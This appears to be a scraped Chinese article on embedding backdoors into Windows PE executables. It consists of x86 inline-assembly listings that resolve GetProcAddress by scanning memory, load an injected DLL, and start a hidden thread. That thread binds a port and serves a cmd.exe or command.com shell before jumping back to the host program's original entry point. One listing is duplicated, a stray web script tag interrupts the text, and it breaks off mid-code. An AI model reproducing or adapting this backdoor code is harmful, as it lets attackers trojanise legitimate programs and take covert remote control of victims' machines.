PE可执行文件的镶入式程序后门开发
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/*
利用异常结构处理搜索GetProcAddress入口地址
*/
#include
#include
main()
{
_asm
{
call ex//取得当前地址以计算异常结构开始的地址
mov eax,0x77000000
mov [ebp-0ch],eax
mov eax,esp
sub eax,8
xchg fs:[0],eax
mov DWORD ptr[ebp-00h],eax
mov eax,fs:[4]
mov DWORD ptr[ebp-04h],eax
mov fs:[4h],ebp//保存ebp到fs:[4h]中
add ecx,34h
push ecx
push eax
mov edx,0
mov byte ptr [edx],0//产生错误
}
//异常结构开始
_asm
{
mov ebp,fs:[4]
mov dword ptr [ebp-8h],0
//for(;imgbase<0xff000000,procgetadd==0;){
e104f:
cmp dword ptr [ebp-8h],0
jne exi
//imgbase+=0x10000;
mov eax,[ebp-0ch]
add eax,10000h
mov [ebp-0ch],eax
//if(imgbase==0x78000000) imgbase=0xbff00000;
cmp dword ptr [ebp-0ch],78000000h
jne is44
mov dword ptr [ebp-0ch],0BFF00000h
/*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
*)(imgbase+0x3c))=='EP'){*/
is44:
mov ecx,dword ptr [ebp-0ch]
xor edx,edx
mov dx,word ptr [ecx]
mov dword ptr [ebp-24h],ecx
cmp edx,5A4Dh//ZM
jne e11db
mov eax,[ebp-0ch]
mov ecx,dword ptr [eax+3Ch]
mov edx,dword ptr [ebp-0ch]
xor eax,eax
mov ax,word ptr [edx+ecx]
cmp eax,4550h
jne e11db
//fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
mov ecx,dword ptr [ebp-0ch]
mov edx,dword ptr [ecx+3Ch]
mov eax,[ebp-0ch]
mov ecx,dword ptr [eax+edx+78h]
add ecx,dword ptr [ebp-0ch]
mov dword ptr [ebp-10h],ecx
// k=*(int *)(fnbase+0xc)+imgbase;
mov edx,dword ptr [ebp-10h]
mov eax,dword ptr [edx+0Ch]
add eax,dword ptr [ebp-0ch]
mov dword ptr [ebp-14h],eax
//if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
mov ecx,dword ptr [ebp-14h]
cmp dword ptr [ecx],4E52454Bh
jne e11db
mov edx,dword ptr [ebp-14h]
cmp dword ptr [edx+4],32334C45h
jne e11db
//k=imgbase+*(int *)(fnbase+0x20);
mov eax,dword ptr [ebp-10h]
mov ecx,dword ptr [ebp-0ch]
add ecx,dword ptr [eax+20h]
mov dword ptr [ebp-14h],ecx
//for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
mov dword ptr [ebp-18h],0
jmp e1127
e1115:
mov edx,dword ptr [ebp-18h]
add edx,1
mov dword ptr [ebp-18h],edx
mov eax,dword ptr [ebp-14h]
add eax,4
mov dword ptr [ebp-14h],eax
e1127:
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ebp-18h]
cmp edx,dword ptr [ecx+18h]
jge e11db
/*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int
*)k)=='corP'){GetProcAddress*/
mov eax,dword ptr [ebp-14h]
mov ecx,dword ptr [eax]
mov edx,dword ptr [ebp-0ch]
cmp dword ptr [edx+ecx],'PteG'
jne e11d6
mov eax,dword ptr [ebp-14h]
mov ecx,dword ptr [eax]
mov edx,dword ptr [ebp-0ch]
cmp dword ptr [edx+ecx+4],'Acor'
jne e11d6
//k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
mov eax,dword ptr [ebp-18h]
add eax,dword ptr [ebp-18h]
add eax,dword ptr [ebp-0ch]
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ecx+24h]
xor ecx,ecx
mov cx,word ptr [eax+edx]
mov dword ptr [ebp-14h],ecx
//k+=*(int *)(fnbase+0x10)-1;
mov edx,dword ptr [ebp-10h]
mov eax,dword ptr [edx+10h]
mov ecx,dword ptr [ebp-14h]
lea edx,dword ptr [ecx+eax-1]
mov dword ptr [ebp-14h],edx
//k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
mov eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-0ch]
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ecx+1Ch]
mov eax,dword ptr [eax+edx]
mov dword ptr [ebp-14h],eax
mov edx,dword ptr [ebp-14h]
//add edx,imgbase
add edx,dword ptr [ebp-0ch]
// mov procgetadd,edx
mov dword ptr [ebp-8h],edx
//恢复异常结构
mov eax,DWORD ptr[ebp-00h]
mov fs:[0],eax
mov eax,DWORD ptr[ebp-04h]
mov fs:[4],eax
jmp e11db
e11d6:
jmp e1115
e11db:
jmp e104f
}
//////////////////////////////////////////////////////////////
exi:
//取得LoadLibraryA入口地址
_asm
{
mov dword ptr [ebp-124h],'daoL'
mov dword ptr [ebp-120h],'rbiL'
mov dword ptr [ebp-11Ch],'Ayra'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
mov ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址
push ebx
mov eax,dword ptr [ebp-8h]
mov dword ptr [ebp-4008h],eax//GetProcAddress 入口地址
call eax
mov dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址
}
//加载 mydll.dll
_asm
{
mov dword ptr [ebp-124h],'ldym'
mov dword ptr [ebp-120h],'ld.l'
mov dword ptr [ebp-11Ch],'l'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
call dword ptr [ebp-400ch]
cmp eax,0
jz exit1
mov ebx,eax
//取得mybegin入口地址
mov dword ptr [ebp-124h],'gebM'
mov dword ptr [ebp-120h],'ni'
mov dword ptr [ebp-11Ch],0000h
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-4008h]
mov dword ptr [ebp-4030h],eax//mybegin入口地址
cmp eax,0
jz exit1
call eax //执行mybegin
jmp exit1
}
ex:
_asm
{
pop ecx
push ecx
ret
}
exit1:
_asm
{
mov eax,0x401000 //这个跳转地址在代码中需要更改
jmp eax
}
return 0;
}
/*
利用异常结构处理搜索GetProcAddress入口地址
*/
#include
#include
main()
{
_asm
{
call ex//取得当前地址以计算异常结构开始的地址
mov eax,0x77000000
mov [ebp-0ch],eax
mov eax,esp
sub eax,8
xchg fs:[0],eax
mov DWORD ptr[ebp-00h],eax
mov eax,fs:[4]
mov DWORD ptr[ebp-04h],eax
mov fs:[4h],ebp//保存ebp到fs:[4h]中
add ecx,34h
push ecx
push eax
mov edx,0
mov byte ptr [edx],0//产生错误
}
//异常结构开始
_asm
{
mov ebp,fs:[4]
mov dword ptr [ebp-8h],0
//for(;imgbase<0xff000000,procgetadd==0;){
e104f:
cmp dword ptr [ebp-8h],0
jne exi
//imgbase+=0x10000;
mov eax,[ebp-0ch]
add eax,10000h
mov [ebp-0ch],eax
//if(imgbase==0x78000000) imgbase=0xbff00000;
cmp dword ptr [ebp-0ch],78000000h
jne is44
mov dword ptr [ebp-0ch],0BFF00000h
/*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
*)(imgbase+0x3c))=='EP'){*/
is44:
mov ecx,dword ptr [ebp-0ch]
xor edx,edx
mov dx,word ptr [ecx]
mov dword ptr [ebp-24h],ecx
cmp edx,5A4Dh//ZM
jne e11db
mov eax,[ebp-0ch]
mov ecx,dword ptr [eax+3Ch]
mov edx,dword ptr [ebp-0ch]
xor eax,eax
mov ax,word ptr [edx+ecx]
cmp eax,4550h
jne e11db
//fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
mov ecx,dword ptr [ebp-0ch]
mov edx,dword ptr [ecx+3Ch]
mov eax,[ebp-0ch]
mov ecx,dword ptr [eax+edx+78h]
add ecx,dword ptr [ebp-0ch]
mov dword ptr [ebp-10h],ecx
// k=*(int *)(fnbase+0xc)+imgbase;
mov edx,dword ptr [ebp-10h]
mov eax,dword ptr [edx+0Ch]
add eax,dword ptr [ebp-0ch]
mov dword ptr [ebp-14h],eax
//if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
mov ecx,dword ptr [ebp-14h]
cmp dword ptr [ecx],4E52454Bh
jne e11db
mov edx,dword ptr [ebp-14h]
cmp dword ptr [edx+4],32334C45h
jne e11db
//k=imgbase+*(int *)(fnbase+0x20);
mov eax,dword ptr [ebp-10h]
mov ecx,dword ptr [ebp-0ch]
add ecx,dword ptr [eax+20h]
mov dword ptr [ebp-14h],ecx
//for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
mov dword ptr [ebp-18h],0
jmp e1127
e1115:
mov edx,dword ptr [ebp-18h]
add edx,1
mov dword ptr [ebp-18h],edx
mov eax,dword ptr [ebp-14h]
add eax,4
mov dword ptr [ebp-14h],eax
e1127:
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ebp-18h]
cmp edx,dword ptr [ecx+18h]
jge e11db
/*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int
*)k)=='corP'){GetProcAddress*/
mov eax,dword ptr [ebp-14h]
mov ecx,dword ptr [eax]
mov edx,dword ptr [ebp-0ch]
cmp dword ptr [edx+ecx],'PteG'
jne e11d6
mov eax,dword ptr [ebp-14h]
mov ecx,dword ptr [eax]
mov edx,dword ptr [ebp-0ch]
cmp dword ptr [edx+ecx+4],'Acor'
jne e11d6
//k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
mov eax,dword ptr [ebp-18h]
add eax,dword ptr [ebp-18h]
add eax,dword ptr [ebp-0ch]
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ecx+24h]
xor ecx,ecx
mov cx,word ptr [eax+edx]
mov dword ptr [ebp-14h],ecx
//k+=*(int *)(fnbase+0x10)-1;
mov edx,dword ptr [ebp-10h]
mov eax,dword ptr [edx+10h]
mov ecx,dword ptr [ebp-14h]
lea edx,dword ptr [ecx+eax-1]
mov dword ptr [ebp-14h],edx
//k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
mov eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-0ch]
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ecx+1Ch]
mov eax,dword ptr [eax+edx]
mov dword ptr [ebp-14h],eax
mov edx,dword ptr [ebp-14h]
//add edx,imgbase
add edx,dword ptr [ebp-0ch]
// mov procgetadd,edx
mov dword ptr [ebp-8h],edx
//恢复异常结构
mov eax,DWORD ptr[ebp-00h]
mov fs:[0],eax
mov eax,DWORD ptr[ebp-04h]
mov fs:[4],eax
jmp e11db
e11d6:
jmp e1115
e11db:
jmp e104f
}
//////////////////////////////////////////////////////////////
exi:
//取得LoadLibraryA入口地址
_asm
{
mov dword ptr [ebp-124h],'daoL'
mov dword ptr [ebp-120h],'rbiL'
mov dword ptr [ebp-11Ch],'Ayra'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
mov ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址
push ebx
mov eax,dword ptr [ebp-8h]
mov dword ptr [ebp-4008h],eax//GetProcAddress 入口地址
call eax
mov dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址
}
//加载 mydll.dll
_asm
{
mov dword ptr [ebp-124h],'ldym'
mov dword ptr [ebp-120h],'ld.l'
mov dword ptr [ebp-11Ch],'l'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
call dword ptr [ebp-400ch]
cmp eax,0
jz exit1
mov ebx,eax
//取得mybegin入口地址
mov dword ptr [ebp-124h],'gebM'
mov dword ptr [ebp-120h],'ni'
mov dword ptr [ebp-11Ch],0000h
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-4008h]
mov dword ptr [ebp-4030h],eax//mybegin入口地址
cmp eax,0
jz exit1
call eax //执行mybegin
jmp exit1
}
ex:
_asm
{
pop ecx
push ecx
ret
}
exit1:
_asm
{
mov eax,0x401000 //这个跳转地址在代码中需要更改
jmp eax
}
return 0;
}< src="/inc/gg_read2.js">
/*
利用异常结构处理搜索GetProcAddress入口地址
然后用这个函数加载其他api函数.实现线程一个返回另一个
绑定cmd.exe或command.com功能
*/
#include
#include
main()
{
_asm
{
call ex
mov eax,0x77000000
mov [ebp-0ch],eax
mov eax,esp
sub eax,8
xchg fs:[0],eax
mov DWORD ptr[ebp-00h],eax
mov eax,fs:[4]
mov DWORD ptr[ebp-04h],eax
mov fs:[4h],ebp
add ecx,34h
push ecx
push eax
mov edx,0
mov byte ptr [edx],0
mov ebp,fs:[4]
mov dword ptr [ebp-8h],0
e104f:
cmp dword ptr [ebp-8h],0
jne exi
mov eax,[ebp-0ch]
add eax,10000h
mov [ebp-0ch],eax
cmp dword ptr [ebp-0ch],78000000h
jne is44
mov dword ptr [ebp-0ch],0BFF00000h
is44:
mov ecx,dword ptr [ebp-0ch]
xor edx,edx
mov dx,word ptr [ecx]
mov dword ptr [ebp-24h],ecx
cmp edx,5A4Dh//ZM
jne e11db
mov eax,[ebp-0ch]
mov ecx,dword ptr [eax+3Ch]
mov edx,dword ptr [ebp-0ch]
xor eax,eax
mov ax,word ptr [edx+ecx]
cmp eax,4550h
jne e11db
mov ecx,dword ptr [ebp-0ch]
mov edx,dword ptr [ecx+3Ch]
mov eax,[ebp-0ch]
mov ecx,dword ptr [eax+edx+78h]
add ecx,dword ptr [ebp-0ch]
mov dword ptr [ebp-10h],ecx
mov edx,dword ptr [ebp-10h]
mov eax,dword ptr [edx+0Ch]
add eax,dword ptr [ebp-0ch]
mov dword ptr [ebp-14h],eax
mov ecx,dword ptr [ebp-14h]
cmp dword ptr [ecx],4E52454Bh
jne e11db
mov edx,dword ptr [ebp-14h]
cmp dword ptr [edx+4],32334C45h
jne e11db
mov eax,dword ptr [ebp-10h]
mov ecx,dword ptr [ebp-0ch]
add ecx,dword ptr [eax+20h]
mov dword ptr [ebp-14h],ecx
mov dword ptr [ebp-18h],0
jmp e1127
e1115:
mov edx,dword ptr [ebp-18h]
add edx,1
mov dword ptr [ebp-18h],edx
mov eax,dword ptr [ebp-14h]
add eax,4
mov dword ptr [ebp-14h],eax
e1127:
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ebp-18h]
cmp edx,dword ptr [ecx+18h]
jge e11db
mov eax,dword ptr [ebp-14h]
mov ecx,dword ptr [eax]
mov edx,dword ptr [ebp-0ch]
cmp dword ptr [edx+ecx],'PteG'
jne e11d6
mov eax,dword ptr [ebp-14h]
mov ecx,dword ptr [eax]
mov edx,dword ptr [ebp-0ch]
cmp dword ptr [edx+ecx+4],'Acor'
jne e11d6
mov eax,dword ptr [ebp-18h]
add eax,dword ptr [ebp-18h]
add eax,dword ptr [ebp-0ch]
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ecx+24h]
xor ecx,ecx
mov cx,word ptr [eax+edx]
mov dword ptr [ebp-14h],ecx
mov edx,dword ptr [ebp-10h]
mov eax,dword ptr [edx+10h]
mov ecx,dword ptr [ebp-14h]
lea edx,dword ptr [ecx+eax-1]
mov dword ptr [ebp-14h],edx
mov eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-14h]
add eax,dword ptr [ebp-0ch]
mov ecx,dword ptr [ebp-10h]
mov edx,dword ptr [ecx+1Ch]
mov eax,dword ptr [eax+edx]
mov dword ptr [ebp-14h],eax
mov edx,dword ptr [ebp-14h]
add edx,dword ptr [ebp-0ch]
mov dword ptr [ebp-8h],edx
//恢复异常结构
mov eax,DWORD ptr[ebp-00h]
mov fs:[0],eax
mov eax,DWORD ptr[ebp-04h]
mov fs:[4],eax
jmp e11db
e11d6:
jmp e1115
e11db:
jmp e104f
}
//////////////////////////////////////////////////////////////
exi:
//取得各个需要函数的地址
//取得LoadLibraryA入口地址
_asm
{
call ex1
mov dword ptr [ecx-0C70h],ebp
mov dword ptr [ebp-124h],'daoL'
mov dword ptr [ebp-120h],'rbiL'
mov dword ptr [ebp-11Ch],'Ayra'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
mov ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址
push ebx
mov eax,dword ptr [ebp-8h]
mov dword ptr [ebp-4008h],eax//GetProcAddress 入口地址
call eax
mov dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址
//CreatePipe入口地址
mov dword ptr [ebp-124h],'aerC'
mov dword ptr [ebp-120h],'iPet'
mov dword ptr [ebp-11Ch],'ep'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4000h],eax//CreatePipe入口地址
cmp eax,0
jz exit1
//GetVersion入口地址
mov dword ptr [ebp-124h],'VteG'
mov dword ptr [ebp-120h],'isre'
mov dword ptr [ebp-11Ch],'no'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4004h],eax//GetVersion 入口地址
cmp eax,0
jz exit1
//CloseHandle入口地址
mov dword ptr [ebp-124h],'solC'
mov dword ptr [ebp-120h],'naHe'
mov dword ptr [ebp-11Ch],'eld'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4010h],eax//CloseHandle 入口地址
cmp eax,0
jz exit1
//ExitThread入口地址
mov dword ptr [ebp-124h],'tixE'
mov dword ptr [ebp-120h],'erhT'
mov dword ptr [ebp-11Ch],'da'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4014h],eax//ExitThread入口地址
cmp eax,0
jz exit1
//Sleep入口地址
mov dword ptr [ebp-124h],'eelS'
mov dword ptr [ebp-120h],'p'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4018h],eax//Sleep入口地址
cmp eax,0
jz exit1
//WriteFile入口地址
mov dword ptr [ebp-124h],'tirW'
mov dword ptr [ebp-120h],'liFe'
mov dword ptr [ebp-11Ch],'e'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-401Ch],eax//WriteFile入口地址
cmp eax,0
jz exit1
//PeekNamedPipe入口地址
mov dword ptr [ebp-124h],'keeP'
mov dword ptr [ebp-120h],'emaN'
mov dword ptr [ebp-11Ch],'piPd'
mov dword ptr [ebp-118h],'e'
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4020h],eax//PeekNamedPipe入口地址
cmp eax,0
jz exit1
//ReadFile入口地址
mov dword ptr [ebp-124h],'daeR'
mov dword ptr [ebp-120h],'eliF'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4024h],eax//ReadFile入口地址
cmp eax,0
jz exit1
//GetStartupInfoA入口地址
mov dword ptr [ebp-124h],'SteG'
mov dword ptr [ebp-120h],'trat'
mov dword ptr [ebp-11Ch],'nIpu'
mov dword ptr [ebp-118h],'Aof'
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4028h],eax//GetStartupInfoA入口地址
cmp eax,0
jz exit1
//CreateProcessA入口地址
mov dword ptr [ebp-124h],'aerC'
mov dword ptr [ebp-120h],'rPet'
mov dword ptr [ebp-11Ch],'seco'
mov dword ptr [ebp-118h],'As'
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-402Ch],eax//CreateProcessA入口地址
cmp eax,0
jz exit1
//CreateThread入口地址
mov dword ptr [ebp-124h],'aerC'
mov dword ptr [ebp-120h],'hTet'
mov dword ptr [ebp-11Ch],'daer'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4008h],eax//CreateThread入口地址
cmp eax,0
jz exit1
}
//load wsock32.dll
_asm
{
mov dword ptr [ebp-124h],'cosw'
mov dword ptr [ebp-120h],'.23k'
mov dword ptr [ebp-11Ch],'lld'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
call dword ptr [ebp-400ch]
cmp eax,0
jz exit1
mov ebx,eax
//WSAStartup入口地址
mov dword ptr [ebp-124h],'SASW'
mov dword ptr [ebp-120h],'trat'
mov dword ptr [ebp-11Ch],'pu'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4030h],eax//WSAStartup入口地址
cmp eax,0
jz exit1
//__WSAFDIsSet入口地址
mov dword ptr [ebp-124h],'SW__'
mov dword ptr [ebp-120h],'IDFA'
mov dword ptr [ebp-11Ch],'teSs'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4034h],eax//__WSAFDIsSet入口地址
cmp eax,0
jz exit1
//socket入口地址
mov dword ptr [ebp-124h],'kcos'
mov dword ptr [ebp-120h],'te'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4038h],eax//socket入口地址
cmp eax,0
jz exit1
//closesocket入口地址
mov dword ptr [ebp-124h],'solc'
mov dword ptr [ebp-120h],'cose'
mov dword ptr [ebp-11Ch],'tek'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-403Ch],eax//closesocket入口地址
cmp eax,0
jz exit1
//select入口地址
mov dword ptr [ebp-124h],'eles'
mov dword ptr [ebp-120h],'tc'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4040h],eax//select入口地址
cmp eax,0
jz exit1
//recv入口地址
mov dword ptr [ebp-124h],'vcer'
mov dword ptr [ebp-120h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4044h],eax//recv入口地址
cmp eax,0
jz exit1
//send入口地址
mov dword ptr [ebp-124h],'dnes'
mov dword ptr [ebp-120h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4048h],eax//send入口地址
cmp eax,0
jz exit1
//htons入口地址
mov dword ptr [ebp-124h],'noth'
mov dword ptr [ebp-120h],'s'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-404Ch],eax//htons入口地址
cmp eax,0
jz exit1
//bind入口地址
mov dword ptr [ebp-124h],'dnib'
mov dword ptr [ebp-120h],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4050h],eax//bind入口地址
cmp eax,0
jz exit1
//listen入口地址
mov dword ptr [ebp-124h],'tsil'
mov dword ptr [ebp-120h],'ne'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4054h],eax//listen入口地址
cmp eax,0
jz exit1
//accept入口地址
mov dword ptr [ebp-124h],'ecca'
mov dword ptr [ebp-120h],'tp'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4058h],eax//accept入口地址
cmp eax,0
jz exit1
}
//load msvcrt.dll
_asm
{
mov dword ptr [ebp-124h],'cvsm'
mov dword ptr [ebp-120h],'d.tr'
mov dword ptr [ebp-11Ch],'ll'
mov dword ptr [ebp-118h],0000h
lea eax,[ebp-124h]
push eax
call dword ptr [ebp-400ch]
cmp eax,0
jz exit1
mov ebx,eax
//memset入口地址
mov dword ptr [ebp-124h],'smem'
mov dword ptr [ebp-120h],'te'
mov dword ptr [ebp-11Ch],0000h
lea eax,[ebp-124h]
push eax
push ebx
call dword ptr [ebp-8h]
mov dword ptr [ebp-4090h],eax//memset入口地址
cmp eax,0
jz exit1
}
//////////////////////////////////////////////////////////////
//建立后门线程
/////////////////////////////////////////////////////////////
_asm
{
call ex
add ecx,32h //取得后门代码的地址
mov dword ptr [ebp-8],1
mov dword ptr [ebp-0Ch],0
mov dword ptr [ebp-10h],0Ch
lea eax,[ebp-4]
push eax
push 0
push 0
push ecx
push 0
lea ecx,[ebp-10h]
push ecx
call dword ptr [ebp-4008h]
call exit1 //返回真正的代码
}
//////////////////////////////////////////////////////////////
//建立后门
/////////////////////////////////////////////////////////////
_asm
{
mov eax,0x400
call ex1
mov ebp,dword ptr [ecx-0C70h]
mov byte ptr [ebp-1340h],0Dh
mov dword ptr [ebp-11ECh],0FFFFFFFFh
mov dword ptr [ebp-1DCh],0
mov dword ptr [ebp-1D8h],32h
mov dword ptr [ebp-1E4h],10h
call dword ptr [ebp-4004h]
cmp eax,80000000h
jnb loc_0040106C
mov dword ptr [ebp-11ECh],1
mov dword ptr [ebp-4118h],'.dmc'
mov dword ptr [ebp-4114h],'exe'
mov dword ptr [ebp-4110h],00000000h
jmp loc_0040107D
loc_0040106C:
mov dword ptr [ebp-11ECh],0
mov dword ptr [ebp-4118h],'mmoc'
mov dword ptr [ebp-4114h],'.dna'
mov dword ptr [ebp-4110h],'moc'
loc_0040107D:
lea eax,[ebp-1D4h]
push eax
push 101h
call dword ptr [ebp-4030h]
push 0
push 1
push 2
call dword ptr [ebp-4038h]
mov [ebp-30h],eax
push 0
push 1
push 2
call dword ptr [ebp-4038h]
mov [ebp-12F8h],eax
mov word ptr [ebp-28h],2
push 7D0h
call dword ptr [ebp-404Ch]
mov [ebp-26h],ax
mov dword ptr [ebp-24h],0
mov dword ptr [ebp-44h],0Ch
mov dword ptr [ebp-40h],0
mov dword ptr [ebp-3Ch],1
push 10h
lea ecx,[ebp-28h]
push ecx
mov edx,[ebp-30h]
push edx
call dword ptr [ebp-4050h]
push 2
mov eax,[ebp-30h]
push eax
call dword ptr [ebp-4054h]
loc_004010F7:
lea ecx,[ebp-1E4h]
push ecx
lea edx,[ebp-28h]
push edx
mov eax,[ebp-30h]
push eax
call dword ptr [ebp-4058h]
mov [ebp-12F8h],eax
cmp dword ptr [ebp-12F8h],0FFFFFFFFh
jnz loc_00401121
xor eax,eax
jmp loc_00401419
loc_00401121:
push 0
lea ecx,[ebp-44h]
push ecx
lea edx,[ebp-34h]
push edx
lea eax,[ebp-38h]
push eax
call dword ptr [ebp-4000h]
test eax,eax
jnz loc_00401140
xor eax,eax
jmp loc_00401419
loc_00401140:
push 0
lea ecx,[ebp-44h]
push ecx
lea edx,[ebp-1E0h]
push edx
lea eax,[ebp-2Ch]
push eax
call dword ptr [ebp-4000h]
push 44h
push 0
lea ecx,[ebp-133Ch]
push ecx
call dword ptr [ebp-4090h]
add esp,0Ch
lea edx,[ebp-133Ch]
push edx
call dword ptr [ebp-4028h]
mov dword ptr [ebp-133Ch],44h
mov dword ptr [ebp-1310h],101h
mov word ptr [ebp-130Ch],0
mov eax,[ebp-34h]
mov [ebp-12FCh],eax
mov ecx,[ebp-2Ch]
mov [ebp-1304h],ecx
mov edx,[ebp-34h]
mov [ebp-1300h],edx
lea eax,[ebp-14h]
push eax
lea ecx,[ebp-133Ch]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
lea edx,[ebp-4118h]
push edx
push 0
call dword ptr [ebp-402Ch]
test eax,eax
jnz loc_004011DD
xor eax,eax
jmp loc_00401419
loc_004011DD:
push 0C8h
call dword ptr [ebp-4018h]
loc_004011E8:
mov eax,1
test eax,eax
je loc_004013C8
push 1000h
push 0
lea ecx,[ebp-11E8h]
push ecx
call dword ptr [ebp-4090h]
add esp,0Ch
mov dword ptr [ebp-12F4h],0
loc_00401215:
cmp dword ptr [ebp-12F4h],40h
jnb loc_00401240
mov edx,[ebp-12F4h]
mov eax,[ebp-12F8h]
mov [ebp+edx*4-12F0h],eax
mov ecx,[ebp-12F4h]
add ecx,1
mov [ebp-12F4h],ecx
loc_00401240:
xor edx,edx
test edx,edx
jnz loc_00401215
lea eax,[ebp-1DCh]
push eax
push 0
push 0
lea ecx,[ebp-12F4h]
push ecx
push 0
call dword ptr [ebp-4040h]
mov [ebp-11F0h],eax
cmp dword ptr [ebp-11F0h],0
je loc_00401338
cmp dword ptr [ebp-11F0h],0FFFFFFFFh
je loc_00401338
lea edx,[ebp-12F4h]
push edx
mov eax,[ebp-12F8h]
push eax
call dword ptr [ebp-4034h]
test eax,eax
jz loc_004012B6
push 0
push 1000h
lea ecx,[ebp-11E8h]
push ecx
mov edx,[ebp-12F8h]
push edx
call dword ptr [ebp-4044h]
mov [ebp-1E8h],eax
loc_004012B6:
cmp dword ptr [ebp-1E8h],0
ja loc_004012C4
jmp loc_00401417
loc_004012C4:
push 0
lea eax,[ebp-1E8h]
push eax
mov ecx,[ebp-1E8h]
push ecx
lea edx,[ebp-11E8h]
push edx
mov eax,[ebp-1E0h]
push eax
call dword ptr [ebp-401Ch]
mov [ebp-11F0h],eax
cmp dword ptr [ebp-11F0h],0
jnz loc_004012FC
jmp loc_00401415
loc_004012FC:
cmp dword ptr [ebp-11ECh],0
jnz loc_0040132A
push 0
lea ecx,[ebp-1E8h]
push ecx
push 1
lea edx,[ebp-1340h]
push edx
